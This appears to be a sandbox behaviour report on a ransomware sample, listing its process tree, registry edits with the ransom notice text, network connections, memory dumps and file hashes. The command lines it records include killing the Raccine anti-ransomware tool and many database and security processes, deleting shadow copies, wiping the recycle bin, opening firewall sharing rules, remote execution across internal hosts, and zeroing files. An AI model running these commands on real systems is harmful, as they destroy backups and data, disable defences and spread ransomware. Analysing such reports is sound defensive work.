PID 636 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2252 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3812 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3588 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3588 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 496 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 496 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 1344 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 1344 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2856 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 3784 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 4052 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 4052 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe
PID 636 wrote to memory of 2808 N/A C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe C:\Windows\SYSTEM32\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe

"C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Windows\SYSTEM32\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SYSTEM32\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SYSTEM32\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SYSTEM32\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.29 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.14 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.12 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.38 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.20 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.22 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.41 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.24 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

"C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe" \\10.10.0.27 -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe"

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\e1f063d6_by_Libranalysis.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
N/A 10.10.0.41:445 tcp
N/A 8.8.8.8:53 www.poweradmin.com udp
N/A 52.1.55.52:443 www.poweradmin.com tcp
N/A 8.8.8.8:53 live.sysinternals.com udp
N/A 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.29:445 tcp
N/A 10.10.0.12:445 tcp
N/A 10.10.0.14:445 tcp
N/A 10.10.0.12:135 tcp
N/A 10.10.0.29:135 tcp
N/A 10.10.0.12:49669 tcp
N/A 10.10.0.29:49668 tcp
N/A 10.10.0.14:135 tcp
N/A 10.10.0.14:49668 tcp
N/A 10.10.0.38:445 tcp
N/A 10.10.0.38:445 tcp
N/A 10.10.0.38:445 tcp
N/A 10.10.0.38:445 tcp
N/A 10.10.0.20:445 tcp
N/A 10.10.0.20:135 tcp
N/A 10.10.0.20:49668 tcp
N/A 10.10.0.22:445 tcp
N/A 10.10.0.22:445 tcp
N/A 10.10.0.22:445 tcp
N/A 10.10.0.41:135 tcp
N/A 10.10.0.41:49669 tcp
N/A 10.10.0.22:445 tcp
N/A 10.10.0.24:445 tcp
N/A 10.10.0.24:445 tcp
N/A 10.10.0.24:445 tcp
N/A 10.10.0.27:445 tcp
N/A 10.10.0.27:135 tcp
N/A 10.10.0.27:49668 tcp
N/A 10.10.0.29:57441 tcp
N/A 10.10.0.29:57452 tcp
N/A 10.10.0.29:57454 tcp
N/A 10.10.0.29:57463 tcp
N/A 10.10.0.29:57465 tcp
N/A 10.10.0.29:57476 tcp
N/A 10.10.0.12:55470 tcp
N/A 10.10.0.29:57478 tcp
N/A 10.10.0.12:55474 tcp
N/A 10.10.0.12:55477 tcp
N/A 10.10.0.12:55480 tcp
N/A 10.10.0.12:55483 tcp
N/A 10.10.0.12:55486 tcp
N/A 10.10.0.12:55488 tcp
N/A 10.10.0.12:55492 tcp
N/A 10.10.0.12:55494 tcp
N/A 10.10.0.12:55497 tcp
N/A 10.10.0.12:55500 tcp
N/A 10.10.0.12:55504 tcp
N/A 10.10.0.12:55506 tcp
N/A 10.10.0.12:55508 tcp
N/A 10.10.0.12:55510 tcp
N/A 10.10.0.12:55512 tcp
N/A 10.10.0.12:55514 tcp
N/A 10.10.0.29:57492 tcp
N/A 10.10.0.12:55518 tcp
N/A 10.10.0.29:57494 tcp
N/A 10.10.0.12:55519 tcp
N/A 10.10.0.12:55523 tcp
N/A 10.10.0.12:55525 tcp
N/A 10.10.0.12:55529 tcp
N/A 10.10.0.12:55530 tcp
N/A 10.10.0.29:57502 tcp
N/A 10.10.0.12:55534 tcp
N/A 10.10.0.29:57504 tcp
N/A 10.10.0.12:55537 tcp
N/A 10.10.0.12:55541 tcp
N/A 10.10.0.12:55544 tcp
N/A 10.10.0.12:55546 tcp
N/A 10.10.0.12:55548 tcp
N/A 10.10.0.12:55552 tcp
N/A 10.10.0.12:55554 tcp
N/A 10.10.0.12:55557 tcp
N/A 10.10.0.29:57517 tcp
N/A 10.10.0.12:55561 tcp
N/A 10.10.0.29:57518 tcp
N/A 10.10.0.12:55563 tcp
N/A 10.10.0.12:55566 tcp
N/A 10.10.0.12:55570 tcp
N/A 10.10.0.12:55573 tcp
N/A 10.10.0.12:55576 tcp
N/A 10.10.0.12:55579 tcp
N/A 10.10.0.12:55581 tcp
N/A 10.10.0.12:55584 tcp
N/A 10.10.0.12:55586 tcp
N/A 10.10.0.12:55589 tcp
N/A 10.10.0.14:60063 tcp
N/A 10.10.0.14:60067 tcp
N/A 10.10.0.14:60069 tcp
N/A 10.10.0.14:60070 tcp
N/A 10.10.0.14:60078 tcp
N/A 10.10.0.14:60080 tcp
N/A 10.10.0.14:60085 tcp
N/A 10.10.0.14:60087 tcp
N/A 10.10.0.14:60088 tcp
N/A 10.10.0.14:60093 tcp
N/A 10.10.0.14:60095 tcp
N/A 10.10.0.14:60101 tcp
N/A 10.10.0.14:60102 tcp
N/A 10.10.0.14:60108 tcp
N/A 10.10.0.14:60110 tcp
N/A 10.10.0.14:60115 tcp
N/A 10.10.0.14:60117 tcp
N/A 10.10.0.14:60124 tcp
N/A 10.10.0.14:60127 tcp
N/A 10.10.0.27:50337 tcp
N/A 10.10.0.27:50339 tcp
N/A 10.10.0.14:60136 tcp
N/A 10.10.0.27:50341 tcp
N/A 10.10.0.14:60138 tcp
N/A 10.10.0.14:60146 tcp
N/A 10.10.0.27:50343 tcp
N/A 10.10.0.14:60149 tcp
N/A 10.10.0.27:50345 tcp
N/A 10.10.0.27:50347 tcp
N/A 10.10.0.27:50348 tcp
N/A 10.10.0.14:60157 tcp
N/A 10.10.0.27:50351 tcp
N/A 10.10.0.27:50352 tcp
N/A 10.10.0.14:60160 tcp
N/A 10.10.0.27:50354 tcp
N/A 10.10.0.27:50355 tcp
N/A 10.10.0.14:60169 tcp
N/A 10.10.0.27:50357 tcp
N/A 10.10.0.14:60171 tcp
N/A 10.10.0.27:50358 tcp
N/A 10.10.0.27:50361 tcp
N/A 10.10.0.14:60181 tcp
N/A 10.10.0.14:60183 tcp
N/A 10.10.0.27:50362 tcp
N/A 10.10.0.14:60185 tcp
N/A 10.10.0.27:50365 tcp
N/A 10.10.0.27:50366 tcp
N/A 10.10.0.14:60194 tcp
N/A 10.10.0.14:60196 tcp
N/A 10.10.0.29:57777 tcp
N/A 10.10.0.27:50370 tcp
N/A 10.10.0.29:57778 tcp
N/A 10.10.0.27:50371 tcp
N/A 10.10.0.14:60206 tcp
N/A 10.10.0.29:57782 tcp
N/A 10.10.0.29:57784 tcp
N/A 10.10.0.14:60208 tcp
N/A 10.10.0.29:57789 tcp
N/A 10.10.0.29:57790 tcp
N/A 10.10.0.27:50376 tcp
N/A 10.10.0.27:50377 tcp
N/A 10.10.0.29:57795 tcp
N/A 10.10.0.29:57797 tcp
N/A 10.10.0.29:57803 tcp
N/A 10.10.0.29:57804 tcp
N/A 10.10.0.27:50382 tcp
N/A 10.10.0.27:50383 tcp
N/A 10.10.0.29:57810 tcp
N/A 10.10.0.29:57811 tcp
N/A 10.10.0.27:50388 tcp
N/A 10.10.0.27:50390 tcp
N/A 10.10.0.29:57818 tcp
N/A 10.10.0.29:57819 tcp
N/A 10.10.0.27:50394 tcp
N/A 10.10.0.27:50396 tcp
N/A 10.10.0.29:57825 tcp
N/A 10.10.0.29:57826 tcp
N/A 10.10.0.27:50399 tcp
N/A 10.10.0.27:50402 tcp
N/A 10.10.0.29:57834 tcp
N/A 10.10.0.29:57836 tcp
N/A 10.10.0.29:57844 tcp
N/A 10.10.0.29:57845 tcp
N/A 10.10.0.29:57850 tcp
N/A 10.10.0.29:57852 tcp
N/A 10.10.0.29:57855 tcp
N/A 10.10.0.29:57857 tcp
N/A 10.10.0.29:57863 tcp
N/A 10.10.0.29:57864 tcp
N/A 10.10.0.29:57865 tcp
N/A 10.10.0.29:57870 tcp
N/A 10.10.0.29:57871 tcp
N/A 10.10.0.29:57876 tcp
N/A 10.10.0.29:57877 tcp
N/A 10.10.0.20:56136 tcp
N/A 10.10.0.20:56137 tcp
N/A 10.10.0.20:56138 tcp
N/A 10.10.0.20:56141 tcp
N/A 10.10.0.20:56142 tcp
N/A 10.10.0.12:55644 tcp
N/A 10.10.0.20:56145 tcp
N/A 10.10.0.20:56147 tcp
N/A 10.10.0.12:55645 tcp
N/A 10.10.0.12:55646 tcp
N/A 10.10.0.20:56151 tcp
N/A 10.10.0.12:55647 tcp
N/A 10.10.0.20:56153 tcp
N/A 10.10.0.12:55648 tcp
N/A 10.10.0.12:55649 tcp
N/A 10.10.0.12:55650 tcp
N/A 10.10.0.20:56158 tcp
N/A 10.10.0.12:55651 tcp
N/A 10.10.0.20:56160 tcp
N/A 10.10.0.20:56166 tcp
N/A 10.10.0.20:56169 tcp
N/A 10.10.0.20:56174 tcp
N/A 10.10.0.20:56177 tcp
N/A 10.10.0.20:56183 tcp
N/A 10.10.0.20:56185 tcp
N/A 10.10.0.20:56191 tcp
N/A 10.10.0.20:56193 tcp
N/A 10.10.0.20:56199 tcp
N/A 10.10.0.20:56201 tcp
N/A 10.10.0.29:57940 tcp
N/A 10.10.0.29:57943 tcp
N/A 10.10.0.29:57945 tcp
N/A 10.10.0.29:57947 tcp
N/A 10.10.0.29:57948 tcp
N/A 10.10.0.29:57949 tcp
N/A 10.10.0.29:57950 tcp
N/A 10.10.0.29:57951 tcp
N/A 10.10.0.14:60305 tcp
N/A 10.10.0.14:60306 tcp
N/A 10.10.0.14:60307 tcp
N/A 10.10.0.14:60308 tcp
N/A 10.10.0.14:60309 tcp
N/A 10.10.0.14:60310 tcp
N/A 10.10.0.14:60311 tcp
N/A 10.10.0.14:60312 tcp
N/A 10.10.0.20:56210 tcp
N/A 10.10.0.20:56211 tcp
N/A 10.10.0.20:56212 tcp
N/A 10.10.0.20:56213 tcp
N/A 10.10.0.20:56214 tcp
N/A 10.10.0.20:56215 tcp
N/A 10.10.0.20:56216 tcp
N/A 10.10.0.20:56217 tcp
N/A 10.10.0.27:50492 tcp
N/A 10.10.0.27:50493 tcp
N/A 10.10.0.27:50494 tcp
N/A 10.10.0.27:50495 tcp
N/A 10.10.0.27:50496 tcp
N/A 10.10.0.27:50497 tcp
N/A 10.10.0.27:50498 tcp
N/A 10.10.0.27:50499 tcp

Files

memory/636-114-0x0000000000A30000-0x0000000000A31000-memory.dmp

memory/636-116-0x000000001B6E0000-0x000000001B6E2000-memory.dmp

memory/3632-117-0x0000000000000000-mapping.dmp

memory/2856-118-0x0000000000000000-mapping.dmp

memory/3976-119-0x0000000000000000-mapping.dmp

memory/2888-120-0x0000000000000000-mapping.dmp

memory/2960-121-0x0000000000000000-mapping.dmp

memory/2736-122-0x0000000000000000-mapping.dmp

memory/3620-123-0x0000000000000000-mapping.dmp

memory/1508-124-0x0000000000000000-mapping.dmp

memory/3892-126-0x0000000000000000-mapping.dmp

memory/2248-125-0x0000000000000000-mapping.dmp

memory/3908-127-0x0000000000000000-mapping.dmp

memory/716-129-0x0000000000000000-mapping.dmp

memory/4024-128-0x0000000000000000-mapping.dmp

memory/3096-130-0x0000000000000000-mapping.dmp

memory/492-131-0x0000000000000000-mapping.dmp

memory/3772-132-0x0000000000000000-mapping.dmp

memory/3716-133-0x0000000000000000-mapping.dmp

memory/2104-134-0x0000000000000000-mapping.dmp

memory/2252-135-0x0000000000000000-mapping.dmp

memory/3812-136-0x0000000000000000-mapping.dmp

memory/3588-137-0x0000000000000000-mapping.dmp

memory/3668-138-0x0000000000000000-mapping.dmp

memory/496-139-0x0000000000000000-mapping.dmp

memory/3008-140-0x0000000000000000-mapping.dmp

memory/3984-141-0x0000000000000000-mapping.dmp

memory/1344-142-0x0000000000000000-mapping.dmp

memory/2752-143-0x0000000000000000-mapping.dmp

memory/2196-144-0x0000000000000000-mapping.dmp

memory/2856-145-0x0000000000000000-mapping.dmp

memory/3784-146-0x0000000000000000-mapping.dmp

memory/4052-147-0x0000000000000000-mapping.dmp

memory/2808-148-0x0000000000000000-mapping.dmp

memory/1144-149-0x0000000000000000-mapping.dmp

memory/3012-150-0x0000000000000000-mapping.dmp

memory/1244-151-0x0000000000000000-mapping.dmp

memory/1176-152-0x0000000000000000-mapping.dmp

memory/3892-153-0x0000000000000000-mapping.dmp

memory/3052-154-0x0000000000000000-mapping.dmp

memory/3976-155-0x0000000000000000-mapping.dmp

memory/3252-156-0x0000000000000000-mapping.dmp

memory/1424-157-0x0000000000000000-mapping.dmp

memory/1704-158-0x0000000000000000-mapping.dmp

memory/1428-159-0x0000000000000000-mapping.dmp

memory/3764-160-0x0000000000000000-mapping.dmp

memory/3804-161-0x0000000000000000-mapping.dmp

memory/3492-162-0x0000000000000000-mapping.dmp

memory/3744-163-0x0000000000000000-mapping.dmp

memory/988-164-0x0000000000000000-mapping.dmp

memory/3824-165-0x0000000000000000-mapping.dmp

memory/3768-166-0x0000000000000000-mapping.dmp

memory/3908-167-0x0000000000000000-mapping.dmp

memory/1164-168-0x0000000000000000-mapping.dmp

memory/2100-169-0x0000000000000000-mapping.dmp

memory/628-170-0x0000000000000000-mapping.dmp

memory/3916-171-0x0000000000000000-mapping.dmp

memory/3456-172-0x0000000000000000-mapping.dmp

memory/3784-173-0x0000000000000000-mapping.dmp

memory/3892-174-0x0000000000000000-mapping.dmp

memory/3920-175-0x0000000000000000-mapping.dmp

memory/3904-176-0x0000000000000000-mapping.dmp

memory/2364-177-0x0000000000000000-mapping.dmp

memory/2860-178-0x0000000000000000-mapping.dmp

memory/2860-183-0x0000021CBB600000-0x0000021CBB601000-memory.dmp

memory/2860-187-0x0000021CD4600000-0x0000021CD4601000-memory.dmp

memory/2860-188-0x0000021CD3AD0000-0x0000021CD3AD2000-memory.dmp

memory/2860-189-0x0000021CD3AD3000-0x0000021CD3AD5000-memory.dmp

memory/3008-200-0x0000000000000000-mapping.dmp

memory/2860-202-0x0000021CD3AD6000-0x0000021CD3AD8000-memory.dmp

memory/2168-203-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\ctkacaxe.exe

MD5 6f47970bd915ab3d24f0cf5a24223718
SHA1 791ba6733e718d5289b5e7e13d13efb93ec5033f
SHA256 2c5817a56e387283e450cf2abeb4c3e97bd53de135219325c104058c533f6b60
SHA512 fdd894c26079854ee4d02e906bea472b49484cd4293a33edbe6c4c091473ef1ddbeb09669625166a36218501a35467a2013b59e44ee20cbc31050836e89640ac

